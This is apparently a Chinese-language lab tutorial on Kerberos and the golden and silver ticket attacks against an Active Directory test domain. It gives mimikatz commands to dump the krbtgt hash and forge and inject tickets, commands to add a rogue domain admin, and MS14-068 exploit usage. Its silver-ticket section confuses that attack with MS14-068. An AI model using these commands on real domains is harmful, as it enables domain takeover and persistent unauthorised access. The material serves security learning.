前言:
在学习黄金白银票据之前,我们先要搞懂Kerberos(三头保卫神犬)协议。
Kerberos协议:
介绍:
Kerberos 是一种网络认证协议,其设计目标是通过密钥系统为客户机 / 服务器应用程序提供强大的认证服务。该认证过程的实现不依赖于主机操作系统的认证,无需基于主机地址的信任,不要求网络上所有主机的物理安全,并假定网络上传送的数据包可以被任意地读取、修改和插入数据。在以上情况下, Kerberos 作为一种可信任的第三方认证服务,是通过传统的密码技术(如:共享密钥)执行认证服务的。
认证过程:
1:AS-REQ:客户端向KDC的认证服务请求认购权证
2:AS-REP:身份认证通过后KDC发放认购权证
3:TGS-REQ:客户端拿着认购权证向KDC的票据授予服务器请求服务票据。
4:TGS-REP:身份认证通过后,KDC发放ST服务票据
5:AP-REQ:客户端拿着ST服务票据向服务端请求服务(服务端发送PAC给KDC校验PAC_PRIVSVR_CHECKSUM签名。注意服务端和KDC之间是通过RPC协议通信的,并且这步默认不会发送。KDC返回签名校验结果)
6:AP-REP:这一步是可选的。当客户端希望验证提供服务的服务端时,服务端返回该数据包进行双向认证。双向认证后服务端返回服务资源给客户端
kerberos各个阶段的安全问题:
黄金票据
原理:
krbtgt用户是域控中用来管理发放票据的用户,拥有了该用户的权限,就可以伪造系统中的任意用户,黄金票据就是伪造krbtgt用户的TGT(请求认证权证)票据。因为在kerberos请求的第一阶段的AS-REP中KDC返回的TGT是由Krbtgt用户的密码Hash加密的,因此如果我们有krbtgt的密码Hash就可以自己制作一个TGT,这个票据也被称为黄金票据。
利用前提:
- 域名称
- 域的SID值
- 域的krbtgt用户Hash
- 伪造用户名
特点:
不需要与AS进行交互,需要用户kebtgt的hash
使用场景:
在我们拿下域控,但是因为版本等一些原因我们抓不到域管理的明文密码,我们需要进行横向渗透,这个时候可以使用黄金票据来做权限维持。
靶场环境:
域:sunday.com
域控:ad01 10.10.10.100
域内主机:dc01 10.10.10.101
利用过程:
使用到的命令:
# 获取域名
whoami
net time /domain
ipconfig /all
# 获取SID
whoami /all
# 获取域的KRBTGT账户NTLM密码哈希或者aes-256值(使用mimikatz)
lsadump::dcsync /domain:sunday.com /user:krbtgt /csv
# 伪造管理员用户名
net group "domain admins"
# 伪造TGT
# 清除所有票据
klist purge
# 使用mimikatz伪造指定用户的票据并注入到内存
kerberos::golden /admin:administrator /domain:sunday.com /sid:S-1-5-21-3762639449-1694192139-2733638201 /krbtgt:18a27ee598c1af5962a9e92e9d176780 /ptt
在dc01上未伪造直接访问:
在域控上获取krbtgt的Hash:
在域控上伪造管理员用户名
在dc上使用mimikatz伪造指定用户的票据并注入到内存
成功访问域控
添加域管账户
net user hack 123qwe!@# /add /domain
net user /domain
net group "Domain Admins" hack /add /domain
白银票据
原理:
白银票据是利用伪造ST。Client带着ST和Authenticator3向Server上的某个服务进行请求,Server接收到Client的请求之后,通过自己的Master Key 解密ST,从而获得 Session Key。通过 Session Key 解密 Authenticator3,进而验证对方的身份,验证成功就让 Client 访问server上的指定服务了。
利用前提:
- 域名称
- 域的SID值
- 目标服务器FQDN
- 可利用的服务(因为白银票据只能访问部分服务,所以必须要清楚什么服务可以利用)
- server的NTLM Hash
- 需要伪造的用户名
特点:
不需要与KDC进行交互,需要server的NTLM Hash 只能访问部分服务
使用场景:
在拿到一个普通的域成员权限的时候,可以尝试使用ms14-068伪造一个票据,从而让我们的域用户有域管理员权限。
靶场环境:
域:sunday.com
域控:ad01 10.10.10.100
域内主机:dc01 10.10.10.101
利用过程:
使用到的命令:
# 获取域名
whoami
net time /domain
ipconfig /all
# 获取SID
whoami /all
# 目标机器的FQDN
net time /domain
就是hostname+域名 /target:\\WIN-75NA0949GFB.NOONE.com
# 可以利用的服务CIFS(磁盘共享服务)
/service:CIFS
# 要伪造的用户名
/user:Administrator
MS14-068伪造票据
MS14-068.exe -u 用户名@域名 -p 密码 -s sid -d 域控服务器ip或者机器名
MS14-068.exe -u huluwa@sunday.com -p QWEasd123 -s S-1-5-21-3762639449-1694192139-2733638201 -d 10.10.10.100
注入票据
mimikatz.exe "kerberos::purge"
mimikatz.exe "kerberos::ptc 证书路径"
成功访问